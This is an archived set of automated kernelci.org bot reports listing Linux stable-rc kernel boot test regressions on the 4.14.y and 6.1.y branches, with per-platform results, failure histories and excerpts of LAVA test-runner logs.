HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3e9249c52d883efdc95cd
new failure (last pass: v4.14.322-27-gc2d79804d11f0)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3ea93a7aa5e859bdc95f3
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3ea93a7aa5e859bdc95f4
failing since 469 days (last pass: v4.14.277-55-gfb8b8dfe0168, first fail: v4.14.277-71-geacdf1a71409)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3ebe9bd93ee4c56dc95d3
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3ebe9bd93ee4c56dc95d4
failing since 363 days (last pass: v4.14.266-45-gce409501ca5f, first fail: v4.14.290-230-g4d54ef55c38e)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3e960b237c4df56dc95e7
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3e960b237c4df56dc95e8
failing since 363 days (last pass: v4.14.266-45-gce409501ca5f, first fail: v4.14.290-230-g4d54ef55c38e)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3ebbe5998b9be74dc95dd
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3ebbe5998b9be74dc95de
failing since 352 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.291-43-g3eabc273fb308)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3ec253102a0f2c7dc95ce
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3ec253102a0f2c7dc95cf
failing since 468 days (last pass: v4.14.277-55-gfb8b8dfe0168, first fail: v4.14.277-79-ga6b67a30bbcc)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3e9389c52d883efdc95e5
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3e9389c52d883efdc95e6
failing since 352 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.291-43-g3eabc273fb308)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3ea91b83008c72ddc95e8
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3ea91b83008c72ddc95e9
failing since 352 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.291-43-g3eabc273fb308)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3ec1ce1561c8527dc95d1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3ec1ce1561c8527dc95d2
failing since 363 days (last pass: v4.14.266-45-gce409501ca5f, first fail: v4.14.290-230-g4d54ef55c38e)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3e94078090f5849dc95cc
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3e94078090f5849dc95cd
failing since 352 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.291-43-g3eabc273fb308)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3e961b237c4df56dc95ea
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3e961b237c4df56dc95eb
failing since 363 days (last pass: v4.14.266-45-gce409501ca5f, first fail: v4.14.290-230-g4d54ef55c38e)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3eaa6a7aa5e859bdc9604
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3eaa6a7aa5e859bdc9605
failing since 469 days (last pass: v4.14.277-55-gfb8b8dfe0168, first fail: v4.14.277-71-geacdf1a71409)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3ec0fcc7a71b4b7dc95cd
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3ec0fcc7a71b4b7dc95ce
failing since 369 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.290)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3e968b237c4df56dc95ed
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3e968b237c4df56dc95ee
failing since 369 days (last pass: v4.14.267-33-g871c9e115feb, first fail: v4.14.290)
platform | arch | lab | compiler | defconfig | regressions
---------------------------+-------+---------------+----------+----------------------------+------------
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/plan/id/64e3e878e77e54b375dc95d0
Results: 49 PASS, 23 FAIL, 2 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
HTML log: https://storage.kernelci.org//stable-rc/linux-4.14.y/v4.14.323-40-gd4d51e77…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.rockchip-usb2phy1-probed: https://kernelci.org/test/case/id/64e3e878e77e54b375dc95d6
failing since 160 days (last pass: v4.14.308, first fail: v4.14.308-4-ge7a701196c571)
2023-08-21T22:43:52.197021 /lava-11327452/1/../bin/lava-test-case
2023-08-21T22:43:52.207063 [ 50.492876] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy1-probed RESULT=fail>
* baseline.bootrr.rockchip-usb2phy0-probed: https://kernelci.org/test/case/id/64e3e878e77e54b375dc95d7
failing since 160 days (last pass: v4.14.308, first fail: v4.14.308-4-ge7a701196c571)
2023-08-21T22:43:51.173441 /lava-11327452/1/../bin/lava-test-case
2023-08-21T22:43:51.182499 [ 49.468442] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy0-probed RESULT=fail>
2 years, 4 months
- 1
- 0
stable-rc/linux-6.1.y baseline: 127 runs, 11 regressions (v6.1.46-195-g5165f4e9738c4)
by kernelci.org bot
stable-rc/linux-6.1.y baseline: 127 runs, 11 regressions (v6.1.46-195-g5165f4e9738c4)
Regressions Summary
-------------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
acer-chromebox-cxi4-puff | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-CM1400CXA-dalboz | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
beagle-xm | arm | lab-baylibre | gcc-10 | omap2plus_defconfig | 1
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
sun50i-h6-pine-h64 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/job/stable-rc/branch/linux-6.1.y/kernel/v6.1.46-1…
Test: baseline
Tree: stable-rc
Branch: linux-6.1.y
Describe: v6.1.46-195-g5165f4e9738c4
URL: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git
SHA: 5165f4e9738c48a220a13b073c6ccc24824aeb74
Test Regressions
----------------
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
acer-chromebox-cxi4-puff | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3e5c6823a5e81d4dc9648
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3e5c6823a5e81d4dc9649
failing since 7 days (last pass: v6.1.45-128-ge73191cf0a0b2, first fail: v6.1.45-150-gdbb92b2240ba)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-C436FA-Flip-hatch | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3e58cc6536e9bbfdc95cc
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3e58cc6536e9bbfdc95d1
failing since 144 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-21T22:30:24.527901 <8>[ 10.774505] <LAVA_SIGNAL_ENDRUN 0_dmesg 11327295_1.4.2.3.1>
2023-08-21T22:30:24.531334 + set +x
2023-08-21T22:30:24.638886 / # #
2023-08-21T22:30:24.741110 export SHELL=/bin/sh
2023-08-21T22:30:24.741771 #
2023-08-21T22:30:24.843055 / # export SHELL=/bin/sh. /lava-11327295/environment
2023-08-21T22:30:24.843796
2023-08-21T22:30:24.945187 / # . /lava-11327295/environment/lava-11327295/bin/lava-test-runner /lava-11327295/1
2023-08-21T22:30:24.946266
2023-08-21T22:30:24.952082 / # /lava-11327295/bin/lava-test-runner /lava-11327295/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-CM1400CXA-dalboz | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3e59ac6536e9bbfdc95f3
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3e59ac6536e9bbfdc95f8
failing since 144 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-21T22:30:43.335395 + <8>[ 11.986379] <LAVA_SIGNAL_ENDRUN 0_dmesg 11327292_1.4.2.3.1>
2023-08-21T22:30:43.335506 set +x
2023-08-21T22:30:43.440183 / # #
2023-08-21T22:30:43.540843 export SHELL=/bin/sh
2023-08-21T22:30:43.541064 #
2023-08-21T22:30:43.641523 / # export SHELL=/bin/sh. /lava-11327292/environment
2023-08-21T22:30:43.641723
2023-08-21T22:30:43.742238 / # . /lava-11327292/environment/lava-11327292/bin/lava-test-runner /lava-11327292/1
2023-08-21T22:30:43.742686
2023-08-21T22:30:43.747264 / # /lava-11327292/bin/lava-test-runner /lava-11327292/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
asus-cx9400-volteer | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3e59cc6536e9bbfdc9609
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3e59cc6536e9bbfdc960e
failing since 144 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-21T22:30:30.565481 <8>[ 11.422117] <LAVA_SIGNAL_ENDRUN 0_dmesg 11327285_1.4.2.3.1>
2023-08-21T22:30:30.568936 + set +x
2023-08-21T22:30:30.670150 #
2023-08-21T22:30:30.670390
2023-08-21T22:30:30.771041 / # #export SHELL=/bin/sh
2023-08-21T22:30:30.771230
2023-08-21T22:30:30.871708 / # export SHELL=/bin/sh. /lava-11327285/environment
2023-08-21T22:30:30.871883
2023-08-21T22:30:30.972398 / # . /lava-11327285/environment/lava-11327285/bin/lava-test-runner /lava-11327285/1
2023-08-21T22:30:30.972790
... (13 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
beagle-xm | arm | lab-baylibre | gcc-10 | omap2plus_defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3e853053cfc6cbadc95df
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: omap2plus_defconfig
Compiler: gcc-10 (arm-linux-gnueabihf-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64e3e853053cfc6cbadc95e0
failing since 75 days (last pass: v6.1.31-40-g7d0a9678d276, first fail: v6.1.31-266-g8f4f686e321c)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-12b-c...4020-octopus | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3e59cdbffd2e0a6dc95ce
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3e59cdbffd2e0a6dc95d3
failing since 144 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-21T22:30:37.793005 + set +x
2023-08-21T22:30:37.799959 <8>[ 10.729909] <LAVA_SIGNAL_ENDRUN 0_dmesg 11327289_1.4.2.3.1>
2023-08-21T22:30:37.903892 / # #
2023-08-21T22:30:38.004517 export SHELL=/bin/sh
2023-08-21T22:30:38.004684 #
2023-08-21T22:30:38.105175 / # export SHELL=/bin/sh. /lava-11327289/environment
2023-08-21T22:30:38.105341
2023-08-21T22:30:38.205827 / # . /lava-11327289/environment/lava-11327289/bin/lava-test-runner /lava-11327289/1
2023-08-21T22:30:38.206121
2023-08-21T22:30:38.210329 / # /lava-11327289/bin/lava-test-runner /lava-11327289/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
hp-x360-14a-cb0001xx-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3e58dc6536e9bbfdc95d7
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3e58dc6536e9bbfdc95dc
failing since 144 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-21T22:30:18.480458 + <8>[ 11.286047] <LAVA_SIGNAL_ENDRUN 0_dmesg 11327315_1.4.2.3.1>
2023-08-21T22:30:18.480542 set +x
2023-08-21T22:30:18.584748 / # #
2023-08-21T22:30:18.685538 export SHELL=/bin/sh
2023-08-21T22:30:18.686278 #
2023-08-21T22:30:18.788031 / # export SHELL=/bin/sh. /lava-11327315/environment
2023-08-21T22:30:18.788749
2023-08-21T22:30:18.890183 / # . /lava-11327315/environment/lava-11327315/bin/lava-test-runner /lava-11327315/1
2023-08-21T22:30:18.891441
2023-08-21T22:30:18.896602 / # /lava-11327315/bin/lava-test-runner /lava-11327315/1
... (12 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
lenovo-TPad-C13-Yoga-zork | x86_64 | lab-collabora | gcc-10 | x86_64_defcon...6-chromebook | 1
Details: https://kernelci.org/test/plan/id/64e3e59dfcb7baf958dc95ee
Results: 6 PASS, 1 FAIL, 0 SKIP
Full config: x86_64_defconfig+x86-chromebook
Compiler: gcc-10 (gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3e59dfcb7baf958dc95f7
failing since 144 days (last pass: v6.1.21, first fail: v6.1.22)
2023-08-21T22:30:30.860627 <8>[ 17.286961] <LAVA_SIGNAL_ENDRUN 0_dmesg 11327300_1.4.2.3.1>
2023-08-21T22:30:30.964889 / # #
2023-08-21T22:30:31.065586 export SHELL=/bin/sh
2023-08-21T22:30:34.377476 #
2023-08-21T22:30:34.377709 / # export SHELL=/bin/sh
2023-08-21T22:30:34.478392 / # . /lava-11327300/environment
2023-08-21T22:30:34.579790 /lava-11327300/bin/lava-test-runner /lava-11327300/1
2023-08-21T22:30:35.243907 . /lava-11327300/environment
2023-08-21T22:30:35.250337 // # /lava-1327300/bin/lava-test-runner /lava-11327300/1
2023-08-21T22:30:35.255976 + export 'TESTRUN_ID=1_bootrr'
... (19 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a77960-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3e7a0ea5e896e0adc962e
Results: 4 PASS, 2 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3e7a0ea5e896e0adc9633
failing since 35 days (last pass: v6.1.38-393-gb6386e7314b4, first fail: v6.1.38-590-gce7ec1011187)
2023-08-21T22:40:43.391521 / # #
2023-08-21T22:40:43.493723 export SHELL=/bin/sh
2023-08-21T22:40:43.494433 #
2023-08-21T22:40:43.595843 / # export SHELL=/bin/sh. /lava-11327414/environment
2023-08-21T22:40:43.596552
2023-08-21T22:40:43.698035 / # . /lava-11327414/environment/lava-11327414/bin/lava-test-runner /lava-11327414/1
2023-08-21T22:40:43.699128
2023-08-21T22:40:43.716071 / # /lava-11327414/bin/lava-test-runner /lava-11327414/1
2023-08-21T22:40:43.764195 + export 'TESTRUN_ID=1_bootrr'
2023-08-21T22:40:43.764704 + cd /lav<8>[ 19.107621] <LAVA_SIGNAL_STARTRUN 1_bootrr 11327414_1.5.2.4.5>
... (28 line(s) more)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
r8a779m1-ulcb | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64e3e7bc135e48362bdc9638
Results: 5 PASS, 1 FAIL, 1 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
HTML log: https://storage.kernelci.org//stable-rc/linux-6.1.y/v6.1.46-195-g5165f4e973…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.deferred-probe-empty: https://kernelci.org/test/case/id/64e3e7bc135e48362bdc963d
failing since 35 days (last pass: v6.1.38-393-gb6386e7314b4, first fail: v6.1.38-590-gce7ec1011187)
2023-08-21T22:39:47.102725 / # #
2023-08-21T22:39:48.182132 export SHELL=/bin/sh
2023-08-21T22:39:48.183885 #
